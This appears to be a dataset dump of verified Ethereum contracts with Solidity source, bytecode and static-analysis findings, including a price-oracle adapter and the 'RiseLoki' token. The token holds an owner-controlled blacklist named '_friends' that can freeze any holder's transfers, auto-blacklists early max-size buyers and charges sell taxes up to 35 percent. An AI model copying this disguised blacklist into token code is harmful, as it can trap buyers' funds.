3c9836040518082815260200191505060405180910390a35050565b600081830190508281101561404157600080fd5b92915050565b60006b033b2e3c9fd0803ce8000000614060848461408a565b8161406757fe5b04905092915050565b600082828403915081111561408457600080fd5b92915050565b6000808214806140a757508282838502925082816140a457fe5b04145b6140b057600080fd5b92915050565b6000818311156140c657816140c8565b825b905092915050565b6000816140e584670de0b6b3a764000061408a565b816140ec57fe5b0490509291505056fea2646970667358221220d9f3ca14e5ff1963a9ecaa9dc9b9c5809affccbd8d715585e6d5d235eb536b7664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,564 |
0x4008e986b7eb0ff82c916cf0d8af9956215ddef5
|
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC2O {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
}
contract XLONPriceAdapter is Ownable, AggregatorV3Interface {
using SafeMath for uint256;
address public immutable LON = 0x0000000000095413afC295d19EDeb1Ad7B71c952;
address public immutable xLON = 0xf88506B0F1d30056B9e5580668D5875b9cd30F23;
address public immutable LON_ORACLE = 0x13A8F2cC27ccC2761ca1b21d2F3E762445f201CE;
function decimals() override external view returns (uint8){
return 18;
}
function description() override external view returns (string memory){
return "xLON / ETH";
}
function version() override external view returns (uint256){
return 1;
}
function getRoundData(uint80 _roundId)
override
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
){
AggregatorV3Interface priceFeed = AggregatorV3Interface(LON_ORACLE);
(uint80 roundId,int256 answer,uint256 startedAt,uint256 updatedAt, uint80 answeredInRound) = priceFeed.getRoundData(_roundId);
uint256 _exchangeRate = exchangeRate();
int256 price = int256(uint(answer).mul(_exchangeRate).div(1 ether));
return (roundId, price, startedAt, updatedAt, answeredInRound);
}
function latestRoundData()
override
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
){
AggregatorV3Interface priceFeed = AggregatorV3Interface(LON_ORACLE);
(uint80 roundId,int256 answer,uint256 startedAt,uint256 updatedAt, uint80 answeredInRound) = priceFeed.latestRoundData();
uint256 _exchangeRate = exchangeRate();
int256 price = int256(uint(answer).mul(_exchangeRate).div(1 ether));
return (roundId, price, startedAt, updatedAt, answeredInRound);
}
function exchangeRate() public view returns (uint256) {
uint256 exchangeRate = (IERC2O(LON).balanceOf(xLON).mul(1 ether)).div(IERC2O(xLON).totalSupply());
return exchangeRate;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b146101a45780639a6fc8f5146101ac578063e1e45c1d1461021f578063f2fde38b14610227578063f8d707af1461024d578063feaf968c14610255576100b4565b806320a9521e146100b9578063313ce567146100dd5780633ba0b9a9146100fb57806354fd4d5014610115578063715018a61461011d5780637284e41614610127575b600080fd5b6100c161025d565b604080516001600160a01b039092168252519081900360200190f35b6100e5610281565b6040805160ff9092168252519081900360200190f35b610103610286565b60408051918252519081900360200190f35b6101036103e8565b6101256103ed565b005b61012f6104a1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610169578181015183820152602001610151565b50505050905090810190601f1680156101965780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100c16104c5565b6101d5600480360360208110156101c257600080fd5b503569ffffffffffffffffffff166104d4565b604051808669ffffffffffffffffffff1681526020018581526020018481526020018381526020018269ffffffffffffffffffff1681526020019550505050505060405180910390f35b6100c16105e2565b6101256004803603602081101561023d57600080fd5b50356001600160a01b0316610606565b6100c1610710565b6101d5610734565b7f0000000000000000000000000000000000095413afc295d19edeb1ad7b71c95281565b601290565b6000806103e27f000000000000000000000000f88506b0f1d30056b9e5580668d5875b9cd30f236001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102e557600080fd5b505afa1580156102f9573d6000803e3d6000fd5b505050506040513d602081101561030f57600080fd5b5051604080516370a0823160e01b81526001600160a01b037f000000000000000000000000f88506b0f1d30056b9e5580668d5875b9cd30f238116600483015291516103dc92670de0b6b3a7640000927f0000000000000000000000000000000000095413afc295d19edeb1ad7b71c952909116916370a0823191602480820192602092909190829003018186803b1580156103aa57600080fd5b505afa1580156103be573d6000803e3d6000fd5b505050506040513d60208110156103d457600080fd5b50519061082a565b9061088c565b91505090565b600190565b6103f56108ce565b6000546001600160a01b03908116911614610457576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60408051808201909152600a8152690f0989e9c405e408aa8960b31b602082015290565b6000546001600160a01b031690565b6000806000806000807f00000000000000000000000013a8f2cc27ccc2761ca1b21d2f3e762445f201ce90506000806000806000856001600160a01b0316639a6fc8f58d6040518263ffffffff1660e01b8152600401808269ffffffffffffffffffff16815260200191505060a06040518083038186803b15801561055857600080fd5b505afa15801561056c573d6000803e3d6000fd5b505050506040513d60a081101561058257600080fd5b5080516020820151604083015160608401516080909401519298509096509450909250905060006105b1610286565b905060006105cb670de0b6b3a76400006103dc888561082a565b969e969d50939b5091995097509295505050505050565b7f000000000000000000000000f88506b0f1d30056b9e5580668d5875b9cd30f2381565b61060e6108ce565b6000546001600160a01b03908116911614610670576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166106b55760405162461bcd60e51b81526004018080602001828103825260268152602001806109756026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b7f00000000000000000000000013a8f2cc27ccc2761ca1b21d2f3e762445f201ce81565b6000806000806000807f00000000000000000000000013a8f2cc27ccc2761ca1b21d2f3e762445f201ce90506000806000806000856001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b1580156107a157600080fd5b505afa1580156107b5573d6000803e3d6000fd5b505050506040513d60a08110156107cb57600080fd5b5080516020820151604083015160608401516080909401519298509096509450909250905060006107fa610286565b90506000610814670de0b6b3a76400006103dc888561082a565b969d969c50939a50919850965092945050505050565b60008261083957506000610886565b8282028284828161084657fe5b04146108835760405162461bcd60e51b815260040180806020018281038252602181526020018061099b6021913960400191505060405180910390fd5b90505b92915050565b600061088383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108d2565b3390565b6000818361095e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561092357818101518382015260200161090b565b50505050905090810190601f1680156109505780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161096a57fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d6126c2e7bacd946fc113ced8c252379ab75d1033d8ad5324c0a80949cc4f11f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,565 |
0x6ddf2d38b7b16e0ea06b1f4c5ec6039168f33db9
|
/**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
/**
*
MamaDoge .
tg: https://t.me/RiseLoki
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RiseLoki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode" Rise Loki ";
string private constant _symbol = unicode" RLOKI ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061388256